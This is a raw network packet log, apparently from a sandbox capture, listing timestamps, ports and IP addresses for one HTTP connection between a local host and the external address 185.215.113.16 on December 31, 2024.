Dec 31, 2024 09:48:45.826915979 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.826915979 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.826915979 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.826924086 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.826976061 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.826986074 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.826994896 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.827008963 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.827765942 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.827765942 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.827765942 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.830770969 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830785036 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830796003 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830806971 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830816984 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830821037 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830826998 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.830828905 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830838919 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830857038 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830868006 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830878973 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830888987 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830899000 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830908060 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830918074 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830928087 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830938101 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830948114 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830957890 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830966949 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830977917 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830986977 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.830997944 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831001043 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831001043 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831001043 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831001043 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831001043 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831191063 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831202984 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831212044 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831221104 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831231117 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831238985 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831238985 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831238985 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831240892 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831259012 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831269026 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831279039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831288099 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831298113 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831307888 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831326008 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831336975 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831338882 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831338882 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831338882 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831338882 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831338882 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831342936 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831351042 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831386089 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831397057 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831406116 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831415892 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831425905 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831434965 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831444979 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831454992 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.831620932 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831620932 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831620932 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.831620932 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.832204103 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832216978 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832226992 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832236052 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832247019 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832257032 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832267046 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832277060 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832288027 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832298040 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832303047 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832317114 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.832317114 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.832317114 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.832320929 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832338095 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832349062 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832357883 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832369089 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832379103 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832389116 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832398891 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832407951 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832412958 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832417965 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832423925 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832427979 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.832432985 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.832432985 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.832432985 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.832432985 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.832432985 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.833003998 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833017111 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833025932 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833036900 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833076954 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.833076954 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.833076954 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.833126068 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833139896 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833149910 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833159924 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833169937 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833179951 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833226919 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833236933 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833245993 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833256006 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833266020 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833276987 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833300114 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.833300114 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.833300114 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.833300114 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.833369017 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833379984 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833389044 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833399057 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833409071 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833419085 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833430052 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833440065 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833450079 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833461046 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833467960 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.833467960 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.833467960 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.833472013 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.833496094 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834096909 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834109068 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834115028 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834131002 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834141016 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834151030 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834161997 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834176064 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.834176064 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.834176064 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.834176064 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.834223032 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834233999 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834243059 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834253073 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834263086 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834274054 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834305048 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.834305048 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.834306002 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.834306002 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.834316015 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834331989 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834341049 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834351063 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834361076 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834371090 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834387064 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834398985 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834409952 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834419966 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834429979 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.834449053 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.834449053 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.834449053 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.834449053 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.834449053 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.834692001 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.835091114 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.835103989 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.835114002 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.835123062 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836205006 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836342096 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836353064 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836364031 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836373091 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836383104 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836393118 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836402893 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836414099 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836419106 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836436033 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836445093 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836455107 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836466074 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836476088 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836486101 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836496115 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836494923 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.836494923 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.836494923 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.836494923 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.836508036 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836519957 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836529970 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.836540937 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.838402987 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.838402987 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.838402987 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.838403940 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.861577034 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.866600990 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866624117 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866636038 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866641045 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866651058 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866667986 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866678953 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866695881 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866707087 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866717100 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866725922 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866727114 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.866727114 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.866727114 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.866738081 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866748095 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866764069 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866776943 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866786957 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866797924 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866807938 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866811991 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.866811991 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.866811991 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.866811991 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.866818905 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866830111 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866839886 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866849899 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866859913 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866869926 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866879940 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866919041 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866929054 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866939068 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866939068 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.866939068 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.866939068 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.866939068 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.866971016 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866981983 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.866997957 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.867007017 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.867062092 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.867062092 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.867062092 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.867149115 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.867209911 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.867221117 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.867229939 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.867240906 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.867285013 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.867285013 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.871056080 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876077890 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876092911 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876105070 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876115084 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876125097 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876133919 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876140118 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876147985 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876153946 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876163960 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876179934 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876189947 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876199961 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876211882 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876220942 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876231909 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876243114 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876255035 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876255989 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876255989 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876255989 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876255989 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876265049 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876275063 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876285076 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876286030 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876297951 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876307964 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876317024 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876327038 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876341105 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876346111 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876346111 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876347065 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876395941 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876583099 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876594067 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876604080 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876621008 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876631021 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876647949 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876660109 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876669884 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876682043 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876692057 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876693964 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876693964 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876693964 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876693964 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876703024 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876713991 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876724005 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876739025 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876749039 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876760960 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876770020 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876775026 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876780033 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876780033 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876780033 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876785994 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876797915 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876807928 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876817942 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876827955 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.876874924 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876874924 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.876874924 CET	49716	80	192.168.2.5	185.215.113.16
